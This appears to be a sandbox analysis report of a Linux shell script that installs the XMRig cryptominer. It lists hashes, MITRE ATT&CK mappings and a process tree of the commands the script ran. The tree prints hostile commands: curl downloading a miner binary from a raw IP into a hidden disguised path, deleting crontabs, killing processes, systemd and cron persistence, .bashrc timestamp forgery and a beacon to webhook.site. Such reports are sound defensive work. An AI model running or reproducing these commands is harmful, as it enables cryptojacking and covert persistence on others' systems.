xmrig | 8f5c0cbcb775a704015322284dbcdbf2252f3a6688a95eef7a0b7a1b1a685d0d

Resubmissions

08/05/2026, 17:40

260508-v8t3kaez3r10

08/05/2026, 17:39

260508-v79fvsbt9z10

08/05/2026, 17:38

260508-v75snsez2r1

08/05/2026, 17:38

260508-v7zawsey9r1

Analysis

user interaction
yes
max time kernel
23s
max time network
47s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260127-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260127-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
08/05/2026, 17:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
sex.sh
Size 5KB
Sample260508-v79fvsbt9z
SHA256 8f5c0cbcb775a704015322284dbcdbf2252f3a6688a95eef7a0b7a1b1a685d0d
MD5 31bf54d388f6e90fdbeaa997f7013f6e
SHA1 d41cc570c60788bca4c168ac30225823b2e50b3a
SHA512 3ebf13c0b56f2bf180ff13aee1994cafe09e302b4b7dbe8d95cb3ba0094457a946f40873e4a5c3d73655a8f3f1e7f5af47a56367fc25a6a5b872bce24672832a
SSDEEP 96:Xxqagbf/e0i7ziwWDH/ELhKIP3oJ53pz1J86zym2imZPaQ:XYayi7z9WDH/0QIPypnnzo/Zv
TLSH
T1C3C1E7F2B620A536310B806CF4DF6558A95B705B2A24B454747E2F352F7C3AA232CE79
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution xmrig miner persistence privilege_escalation

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral1/files/fstream-3.dat	family_xmrig
behavioral1/files/fstream-3.dat	xmrig

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1825	chmod

Cryptocurrency Miner
Makes network request to known mining pool URL.
miner

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
18	pastebin.com
19	pastebin.com
17	pastebin.com

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.Srugku	crontab

Creates/modifies environment variables 1 TTPs 2 IoCs

Creating/modifying environment variables is a common persistence mechanism.

persistence privilege_escalation defense_evasion

Path Interception by PATH Environment Variable

T1574.007

description	ioc	Process
File opened for modification	/root/.bashrc	touch
File opened for modification	/root/.bashrc	sex.sh

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/dbus-system-monitor.service	sex.sh

Modifies Bash startup script 2 TTPs 2 IoCs

persistence

Boot or Logon Autostart Execution

T1547

Unix Shell Configuration Modification

T1546.004

description	ioc	Process
File opened for modification	/root/.bashrc	sex.sh
File opened for modification	/root/.bashrc	touch

Reads CPU attributes 1 TTPs 4 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/15/status	ps
File opened for reading	/proc/1049/stat	ps
File opened for reading	/proc/1504/stat	ps
File opened for reading	/proc/22/cmdline	pkill
File opened for reading	/proc/26/status	pkill
File opened for reading	/proc/1084/status	pkill
File opened for reading	/proc/4/stat	ps
File opened for reading	/proc/415/status	ps
File opened for reading	/proc/1004/stat	ps
File opened for reading	/proc/1059/stat	ps
File opened for reading	/proc/1249/status	pkill
File opened for reading	/proc/9/status	pkill
File opened for reading	/proc/18/stat	ps
File opened for reading	/proc/245/cmdline	pkill
File opened for reading	/proc/80/status	pkill
File opened for reading	/proc/81/cmdline	pkill
File opened for reading	/proc/174/cmdline	pkill
File opened for reading	/proc/1507/status	pkill
File opened for reading	/proc/10/stat	ps
File opened for reading	/proc/172/cmdline	ps
File opened for reading	/proc/526/status	ps
File opened for reading	/proc/1049/cmdline	ps
File opened for reading	/proc/1169/status	pkill
File opened for reading	/proc/1521/cmdline	ps
File opened for reading	/proc/163/cmdline	pkill
File opened for reading	/proc/30/cmdline	pkill
File opened for reading	/proc/174/status	pkill
File opened for reading	/proc/503/status	pkill
File opened for reading	/proc/1249/cmdline	pkill
File opened for reading	/proc/935/cmdline	pkill
File opened for reading	/proc/25/stat	ps
File opened for reading	/proc/165/status	ps
File opened for reading	/proc/433/stat	ps
File opened for reading	/proc/703/status	ps
File opened for reading	/proc/1058/status	pkill
File opened for reading	/proc/32/status	pkill
File opened for reading	/proc/137/cmdline	pkill
File opened for reading	/proc/22/stat	ps
File opened for reading	/proc/165/cmdline	ps
File opened for reading	/proc/19/status	pkill
File opened for reading	/proc/319/status	pkill
File opened for reading	/proc/498/status	pkill
File opened for reading	/proc/916/cmdline	pkill
File opened for reading	/proc/1244/cmdline	pkill
File opened for reading	/proc/1287/status	pkill
File opened for reading	/proc/34/status	pkill
File opened for reading	/proc/175/status	pkill
File opened for reading	/proc/647/cmdline	pkill
File opened for reading	/proc/935/status	pkill
File opened for reading	/proc/1022/cmdline	pkill
File opened for reading	/proc/1022/cmdline	pkill
File opened for reading	/proc/98/stat	ps
File opened for reading	/proc/172/status	pkill
File opened for reading	/proc/1185/cmdline	pkill
File opened for reading	/proc/6/cmdline	ps
File opened for reading	/proc/25/cmdline	ps
File opened for reading	/proc/683/status	ps
File opened for reading	/proc/935/cmdline	ps
File opened for reading	/proc/1041/stat	ps
File opened for reading	/proc/954/status	pkill
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/1081/cmdline	pkill
File opened for reading	/proc/34/cmdline	ps
File opened for reading	/proc/3/status	pkill

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh-thd.o9F3SE	sex.sh

/tmp/sex.sh
/tmp/sex.sh
1⤵
- Creates/modifies environment variables
- Modifies systemd
- Modifies Bash startup script
- Writes file to tmp directory
PID:1511
- /bin/systemctl
  systemctl is-active --quiet dbus-system-monitor.service
  2⤵
  PID:1512
- /bin/systemctl
  systemctl stop crond
  2⤵
  PID:1513
- /usr/bin/crontab
  crontab -r
  2⤵
  PID:1514
- /bin/rm
  rm -rf /etc/cron.d/anacron /etc/cron.d/popularity-contest
  2⤵
  PID:1515
- /usr/bin/which
  which podman
  2⤵
  PID:1517
- /usr/bin/which
  which docker
  2⤵
  PID:1519
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1522
- - /usr/local/sbin/kill
    kill -9 488 493 579 676 1521
    3⤵
    PID:1523
- - /usr/local/bin/kill
    kill -9 488 493 579 676 1521
    3⤵
    PID:1523
- - /usr/sbin/kill
    kill -9 488 493 579 676 1521
    3⤵
    PID:1523
- - /usr/bin/kill
    kill -9 488 493 579 676 1521
    3⤵
    PID:1523
- - /sbin/kill
    kill -9 488 493 579 676 1521
    3⤵
    PID:1523
- - /bin/kill
    kill -9 488 493 579 676 1521
    3⤵
    - Reads CPU attributes
    PID:1523
- /bin/ps
  ps -eo "pid,ppid,cmd,%cpu" "--sort=-%cpu"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1520
- /usr/bin/awk
  awk " NR>1 && \$4 > 60 && \$3 !~ /(httpd|nginx|mysqld|php-fpm|sshd|node|redis|systemd|dbus-daemon-service)/ { print \$1 }"
  2⤵
  PID:1521
- /usr/bin/pkill
  pkill -9 -f xfsd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1524
- /usr/bin/pkill
  pkill -9 -f kworkerds
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1526
- /bin/mkdir
  mkdir -p /usr/share/zoneinfo/.dbus/.k
  2⤵
  PID:1531
- /usr/bin/cut
  cut -d: -f1
  2⤵
  PID:1534
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:1539
- /bin/date
  date "+%s%N"
  2⤵
  PID:1543
- /bin/nc
  nc -z -w 2 pool.supportxmr.com 8080
  2⤵
  PID:1544
- /bin/date
  date "+%s%N"
  2⤵
  PID:1565
- /usr/bin/cut
  cut -d: -f1
  2⤵
  PID:1568
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:1571
- /bin/date
  date "+%s%N"
  2⤵
  PID:1572
- /bin/nc
  nc -z -w 2 auto.c3pool.org 80
  2⤵
  PID:1573
- /bin/date
  date "+%s%N"
  2⤵
  PID:1618
- /usr/bin/cut
  cut -d: -f1
  2⤵
  PID:1621
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:1624
- /bin/date
  date "+%s%N"
  2⤵
  PID:1625
- /bin/nc
  nc -z -w 2 pool.supportxmr.com 80
  2⤵
  PID:1626
- /bin/date
  date "+%s%N"
  2⤵
  PID:1627
- /usr/bin/cut
  cut -d: -f1
  2⤵
  PID:1630
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:1633
- /bin/date
  date "+%s%N"
  2⤵
  PID:1634
- /bin/nc
  nc -z -w 2 pool.supportxmr.com 3333
  2⤵
  PID:1635
- /bin/date
  date "+%s%N"
  2⤵
  PID:1638
- /usr/bin/cut
  cut -d: -f1
  2⤵
  PID:1641
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:1644
- /bin/date
  date "+%s%N"
  2⤵
  PID:1645
- /bin/nc
  nc -z -w 2 auto.c3pool.org 443
  2⤵
  PID:1646
- /bin/date
  date "+%s%N"
  2⤵
  PID:1652
- /bin/uname
  uname -m
  2⤵
  PID:1653
- /usr/bin/curl
  curl -sSL -k -o /usr/share/zoneinfo/.dbus/dbus-daemon-service http://103.213.248.200/xmrig_86
  2⤵
  PID:1654
- /bin/chmod
  chmod +x /usr/share/zoneinfo/.dbus/dbus-daemon-service
  2⤵
  - File and Directory Permissions Modification
  PID:1825
- /bin/cat
  cat
  2⤵
  PID:1826
- /bin/systemctl
  systemctl daemon-reload
  2⤵
  PID:1827
- /bin/systemctl
  systemctl enable dbus-system-monitor.service
  2⤵
  PID:1848
- /bin/systemctl
  systemctl restart dbus-system-monitor.service
  2⤵
  PID:1869
- /bin/systemctl
  systemctl start crond
  2⤵
  PID:1893
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1895
- /bin/grep
  grep -v dbus-daemon-service
  2⤵
  PID:1897
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1896
- /bin/grep
  grep -q release-upgrade /root/.bashrc
  2⤵
  PID:1898
- /usr/bin/stat
  stat -c "%y" /etc/passwd
  2⤵
  PID:1899
- /bin/mkdir
  mkdir -p /etc/update-manager/
  2⤵
  PID:1900
- /usr/bin/touch
  touch -d "2023-10-18 10:29:22.106227000 +0100" /root/.bashrc
  2⤵
  - Creates/modifies environment variables
  - Modifies Bash startup script
  PID:1901
- /usr/bin/curl
  curl -s -k -X POST -d "ok=1" https://webhook.site/f8aba51a-1657-4c9a-b1eb-f82231d70bab
  2⤵
  PID:1902
- /bin/rm
  rm -f /tmp/sex.sh
  2⤵
  PID:1904

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

release-upgrade

Path /etc/update-manager/release-upgrade
Size 27B
SHA256 db05de79e234af2e0437d98dfb31108293f8169f569141d92a1e78b462d847e4
MD5 cb27c6c61f8f61e89b236827f270bcbf
SHA1 8cfb26a2ce9b1cc2c8f994cd55759f64084e3eca
SHA512 e10e08bb872eab1306360b9d7202cdab47d9a764343228ad63ab2457f8bce49f7dca24c5d633ab55c7b66e0cadd71bd59e0a84358a9e03bc21e3865a80f14455
MD5 SHA1 SHA512

Submit Download

sh-thd.o9F3SE

Path /tmp/sh-thd.o9F3SE
Size 1KB
SHA256 688ac6bf1570410cb29c280598b0cee6513983de1ef3294ab1ceedc08eacf28a
MD5 e18d66495e158027d1c4be4a1e6e41a4
SHA1 6bcd34c81dfbcf71b96706ff9631f393ddd158fd
SHA512 123a5833d180d8f9764b4f6930bb901f369b3eed703c7689eea6bb1730a0efca8f4639e9c37d8d311441d0b012da56132c300a5a8d123909ce31c1a3d258011d
TLSH
T171317692B860D57F9907487A39D7D920CE94748B1EE8B4A2B8F137D7319264D710D70E
MD5 SHA1 SHA512 TLSH

Submit Download

config.env

Path /usr/share/zoneinfo/.dbus/config.env
Size 103B
SHA256 72a8ba61ce79889244213267a91f54d35301ad671cbd8b6d2ad89dcb2b8dce15
MD5 1ff9820598ea2e5e07b7bb9c257dd2ce
SHA1 7bd8a7dc747f77afe984cbdbefb790e144c77fae
SHA512 783a401bb5ea89787415ecf92d73e5b7d8548e48d2e4eb439f30c802653a4118d38f4c6e58c11d5eddf03ec4e37b74572ab747776cb92785ecef840b7985b0f6
TLSH
T141B0126F521439085188154BFA86A74F00A0B0F5041940450D9FBF17059D38B2078A0D
MD5 SHA1 SHA512 TLSH

Submit Download

dbus-daemon-service

Path /usr/share/zoneinfo/.dbus/dbus-daemon-service
Size 7.9MB
SHA256 0c748b9e8bc6b5b4fe989df67655f3301d28ef81617b9cbe8e0f6a19d4f9b657
MD5 72a37a2fa588e013eafd695b8b5b0e61
SHA1 53cfa587d5cfd7e5e193fc0b1a1575b2b0fefd33
SHA512 b9a149c1d70c4c98a49b230c16cebe05faf67f9ca0bf187fa7703b0738a15fe74087c1345eed81001273b7ab8378ee20b6c3fa2074f1fe8d36d6906866c8f94d
SSDEEP 98304:g8DPu7AJOgt5Gnuk4zX06WOESLAsNFeuLSgPETesUVLFqK4sB9sPBVrZDEtq+Udx:OVaGFesaVBjHmxN9NZozI1olQFj
TLSH
T1C3865C47B6E318FDC19AC470472FD663BD7078984221B97B7698AA302F67E205B1DF21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmp.Srugku

Path /var/spool/cron/crontabs/tmp.Srugku
Size 239B
SHA256 8a5ff7c330fa4ad540667438eeb96e5edd0cf49c5cedb3bd5651e00f03c35f00
MD5 761c2c0b05603075094c6b1e57535519
SHA1 e7fe5e0ec66d972ad9d48fe01ac5c0f214cff7b1
SHA512 be052ba3e3d258defc0d2e3cb0c08dbebd5f9582de02977d57004c5823fdb91f31fd4001c878ec44cd4df14b9e4170e5352b950b7b3a4f9906bebc2f3cd8e70e
TLSH
T1C0D097387B20683C39021A48322A11186E43B07D804CBA80C0CC2400532A70C1BA6C72
MD5 SHA1 SHA512 TLSH

Submit Download

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads